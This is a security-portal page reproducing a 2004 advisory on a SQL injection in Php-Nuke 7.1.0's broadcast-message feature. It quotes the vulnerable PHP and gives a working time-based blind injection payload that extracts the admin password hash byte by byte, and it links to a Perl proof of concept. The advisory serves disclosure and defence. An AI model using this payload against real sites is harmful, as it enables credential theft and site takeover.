Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
June 20, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: RodgerEnhal
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 291
Members: 0
Total: 291
PacketStorm News
Currently there is a problem with headlines from this site
[waraxe-2004-SA#003] - SQL injection in Php-Nuke 7.1.0





Author: Janek Vind "waraxe"
Date: 08 Feb 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (COntent Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke 6.x-7.1.0 (maybe older too) have feature called "public message" alias
"broadcast message". There exists serious SQL Injection bug in implementation code of
this feature, which can lead to stealing of sensitive data from database, including
admin`s username and password md5 hash and finally to total overtaking of the site.



Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let`s look at original code from "/mainfile.php" function "public_message()":



if (!is_user($user) OR (is_user($user) AND ($pm_show == 1))) {

$c_mid = base64_decode($p_msg);

$sql = "SELECT mid, content, date, who FROM ".$prefix."_public_messages WHERE mid > '$c_mid' ORDER BY date ASC LIMIT 1";

$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);

We can deliver the variable $p_msg by GET, POST or COOKIE parameter and because the Php-Nuke will
make force all GPC variables to be global, it will work even with "register_globals = Off";
Now comes the funniest part - because $c_mid will be derived from base64_decoded string, then we
can have unescaped single slashes, delivered directly to SQL query, and "magic_quotes_gpc = On" can`t
do anything about that!!

How can we use this to do something useful (from the point of attacker)? If the MySQL has version
4.x, then answer is: unions.

Consider this example:

$c_mid = x'UNION SELECT null,null,null,pwd FROM nuke_authors WHERE name='God'
AND IF(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*

which will be finally:

SELECT
mid, content, date, who
FROM
nuke_public_messages
WHERE
mid > 'x'
UNION
SELECT
null,null,null,pwd
FROM
nuke_authors
WHERE name='God'
AND
IF
(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*
' ORDER BY date ASC LIMIT 1


This method is so called "blind fishing", where we can get information from database
byte by byte, and it will work WITHOUT visual feedback from script. In our example,
if first char of the superadmin`s password md5 hash is '0', then the page generation
will be delayed for some seconds. If it`s not '0', then we have normal page
generation time and we can try next char - in this case '1'.

I wrote for proof of concept perl script, which can be found at:



http://www.zone.ee/waraxe/sa003/bcast.pl.php




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (7104 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Oracle Java SE CVE-2015-4860 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4872 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4911 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4903 Remote Security Vulnerability
·Bugtraq: [SECURITY] [DSA 3413-1] openssl security update
·Bugtraq: [SECURITY] [DSA 3412-1] redis security update
·Bugtraq: [security bulletin] HPSBGN03525 rev.1: HP Performance Center Virtual Table Server, Remote Code Execution
·Bugtraq: ESA-2015-171 EMC NetWorker Denial-of-service Vulnerability
·More rss feeds from SecurityFocus

read more...
alexa



Movie Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.084 Seconds